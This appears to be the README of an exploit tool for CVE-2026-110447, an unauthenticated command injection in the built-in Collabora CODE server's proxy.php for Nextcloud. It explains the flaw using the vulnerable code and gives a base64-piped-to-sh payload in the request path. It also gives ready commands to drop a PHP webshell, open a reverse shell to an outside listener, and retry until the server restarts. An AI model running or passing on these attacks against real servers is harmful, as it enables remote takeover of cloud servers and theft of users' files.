
Exploit script for CVE-2026-110447, an unauthenticated command injection RCE in Collabora Online's richdocumentscode proxy.php, with webshell, reverse shell and verify modes.
| CVE | CVE-2026-110447 (published 2026-10-14) |
| Product | Collabora Online – Built-in CODE Server (Nextcloud app richdocumentscode) |
| Affected | versions < 26.4.303; standalone Collabora Online servers are NOT affected |
| Fixed in | 26.4.303 |
| CVSS | 3.1: 9.8 CRITICAL (AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H); CVSS 4.0: 9.2 |
| Exploited | yes, in the wild in September–October 2026; listed in the CISA KEV catalog (added 2026-10-23); EPSS ≈ 0.73 |
| Type | OS command injection → no authentication required |
Summary. In vulnerable versions, proxy.php's startCoolwsd() builds the CODE-server launch command by interpolating the HTTP Host header:
$lok_allow = "--o:net.lok_allow.host[14]=" . escapeshellarg($_SERVER['HTTP_HOST']);
$launchCmd = "bash -c \"( $appImage ... $lok_allow ... ) >/dev/null & disown\"";
exec($launchCmd);
escapeshellarg() single-quotes the Host value, but that string ends up inside a double-quoted outer shell command. Per POSIX semantics, the outer /bin/sh (dash) expands $(...)/backtick command substitutions inside double quotes, where single quotes are mere literals. Net effect: an attacker-controlled Host header value is executed as a command before the inner bash ever runs — unauthenticated RCE as the web-server user (typically www-data).
Precondition (attack window). The launch path executes only when the CODE server is not running (no pidfile / dead process) — e.g. immediately after a restart of the product. With the server up, proxy.php merely proxies traffic and the injection never fires.
Two injection points in the same exec(). HTTP_HOST is interpolated twice: into $lok_allow (snippet above) and into $remoteFontConfigUrl:
$remoteFontConfigUrl = escapeshellarg("https://" . $_SERVER['HTTP_HOST'] .
preg_replace("/richdocumentscode.*$/", "richdocuments/settings/fonts.json", $_SERVER['REQUEST_URI']));
The font-config branch only runs when the request looks like HTTPS — and proxy.php also honors HTTP_X_FORWARDED_PROTO === 'https' / HTTP_X_FORWARDED_SSL === 'on', so an X-Forwarded-Proto: https header opens the branch even on plain-HTTP targets. Hence two vectors in exploit.py:
--vector host (default) — payload in the Host header ($lok_allow branch), works without HTTPS too;--vector path — payload in REQUEST_URI before the app path (the web server normalizes /x$(...)x/../apps/richdocumentscode/proxy.php and routes it to proxy.php, which still sees the raw URI); /x$(echo${IFS}...|base64${IFS}-d|sh)x/../apps/richdocumentscode/proxy.php?status.exploit.py# webshell mode (default): drops rce.php into the web root and self-verifies RCE
python3 exploit.py https://cloud.example.com
# same via the REQUEST_URI vector (as in the in-the-wild attacks; X-Forwarded-Proto is added automatically)
python3 exploit.py https://cloud.example.com --vector path
# verify mode: marker files + response-latency proof
python3 exploit.py https://cloud.example.com --mode verify --marker /tmp/pwn
# interactive reverse shell (listener on ADDR:PORT)
python3 exploit.py https://cloud.example.com --mode shell --listen 203.0.113.7:9999
python3 exploit.py https://cloud.example.com --mode shell --listen 203.0.113.7:9999 --vector path
# window closed (server running) — retry every 30 s until it stops
python3 exploit.py https://cloud.example.com --loop 30
# print the exact request without sending it
python3 exploit.py https://cloud.example.com --dry-run